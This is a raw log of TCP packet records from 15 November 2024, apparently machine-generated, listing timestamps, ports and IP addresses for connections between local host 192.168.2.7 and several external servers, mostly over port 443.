Nov 15, 2024 09:55:29.923389912 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.923693895 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.923715115 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.924743891 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.924823999 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.926789045 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.926846981 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.928169966 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.928318024 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.928661108 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.928669930 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.928689957 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.958215952 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:29.958323956 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:29.971352100 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.973360062 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:30.016375065 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.016536951 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.019922972 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.019941092 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.020214081 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.065980911 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.093988895 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.095136881 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:30.100925922 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:30.139329910 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.208188057 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:30.208348036 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:30.222500086 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.222529888 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.336363077 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.336424112 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.336587906 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.336631060 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.336652994 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.336652994 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.336661100 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.336669922 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.383074045 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.383179903 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.383275986 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.383620977 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:30.383652925 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:30.403381109 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.403893948 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.403918982 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.404390097 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.404396057 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.421879053 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.422456980 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.422478914 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.422907114 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.422914028 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.450592995 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.451136112 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.451196909 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.451658964 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.451673985 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.533677101 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.534008980 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.534084082 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.534169912 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.534169912 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.534215927 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.534244061 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.538121939 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.538166046 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.538270950 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.538492918 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.538510084 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.550904036 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.551106930 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.551156044 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.551161051 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.551209927 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.551265955 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.551286936 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.551300049 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.551305056 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.555098057 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.555136919 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.555229902 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.555377007 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.555394888 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.579360008 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.580075026 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.580188036 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.580250025 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.580250025 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.580284119 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.580308914 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.583906889 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.583950996 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.584018946 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.584156990 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.584172964 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.630234003 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.630820036 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.630848885 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.631310940 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.631325960 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.643165112 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.643985033 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.644013882 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.644864082 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.644870996 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.762880087 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.762985945 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.763051033 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.763289928 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.763307095 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.763331890 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.763339043 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.766412020 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.766473055 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.766544104 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.766741991 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.766762972 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.785607100 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.785680056 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.785737038 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.785954952 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.785974979 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.785988092 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.785994053 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.789738894 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.789772034 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.789838076 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.790025949 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:30.790040016 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:30.874061108 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:30.874128103 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:31.239902020 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.239996910 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:31.242232084 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:31.242260933 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.242603064 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.244246960 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:31.263149977 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.264942884 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.265010118 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.265487909 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.265501976 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.291332960 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.304003000 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.325196981 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.339802027 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.339845896 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.355467081 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.355499983 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.361588955 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.361617088 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.362298965 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.362308025 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.390979052 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.391246080 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.391305923 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.391304016 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.391488075 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.391647100 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.391693115 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.391720057 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.391736031 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.397373915 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.397480965 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.397563934 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.398195982 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.398226023 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.482028961 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.482178926 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.482234001 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.487728119 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.487874985 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.487987995 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.488106966 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.488140106 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.488158941 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.488164902 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.491169930 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.491189003 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.491199970 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.491209984 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.492556095 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.492645025 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.492717981 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:31.495141983 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.495184898 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.495244980 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.496577024 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.496593952 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.497123957 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.497538090 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.497551918 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.498172045 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.498178005 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.498509884 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.498547077 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.498609066 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.498780966 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.498796940 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.498995066 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:31.499010086 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.499020100 CET	49837	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:31.499025106 CET	443	49837	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:31.535269976 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.537362099 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.537379980 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.538157940 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.538163900 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.627156019 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.627239943 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.627305031 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.648943901 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.648943901 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.648983002 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.648998022 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.668153048 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.668391943 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.668447971 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.668450117 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.670197010 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.712387085 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.712496042 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.712615013 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.716546059 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.716566086 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.727617979 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.727650881 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.744424105 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.744467974 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:31.744595051 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.802355051 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:31.802376032 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.127120018 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.175352097 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.227701902 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.248713017 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.248742104 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.251869917 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.256424904 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.256448030 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.269112110 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.300370932 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.380912066 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.381047010 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.381256104 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.414488077 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.414516926 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.415184021 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.415193081 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.458066940 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.464288950 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.464323997 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.465089083 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.465101957 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.506777048 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.534007072 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.544938087 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.545120955 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.545192957 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.564507961 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.564507961 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.564603090 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.564637899 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.581614971 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.587938070 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.587969065 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.588762999 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.588773012 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.591741085 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.591764927 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.594449043 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.594523907 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.594598055 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.715140104 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.715178013 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.715236902 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.715346098 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.715415001 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.807411909 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.807459116 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.817245007 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.817245007 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.817327023 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.817364931 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.927730083 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.927795887 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.927817106 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:32.927824020 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.932816982 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.932909012 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:32.932979107 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:33.043530941 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:33.043581009 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:33.043598890 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:33.043606043 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:33.230593920 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:33.230638027 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:33.230680943 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:33.230686903 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.198352098 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.198406935 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.198482990 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.199816942 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.199865103 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.199917078 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.245100021 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.245148897 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.245218992 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.245558023 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.245611906 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.245666981 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.258419037 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.258450985 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.261133909 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.261172056 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.261240005 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.261393070 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.261404991 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.261562109 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.261585951 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.274800062 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.274831057 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.274930954 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:34.274965048 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:34.380441904 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:34.380455971 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:34.380527973 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:34.384440899 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:34.384447098 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:34.993877888 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.002420902 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.023884058 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.039943933 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.110071898 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.110071898 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.110089064 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.110435009 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.183295965 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.183330059 CET	443	49849	13.107.246.45	192.168.2.7
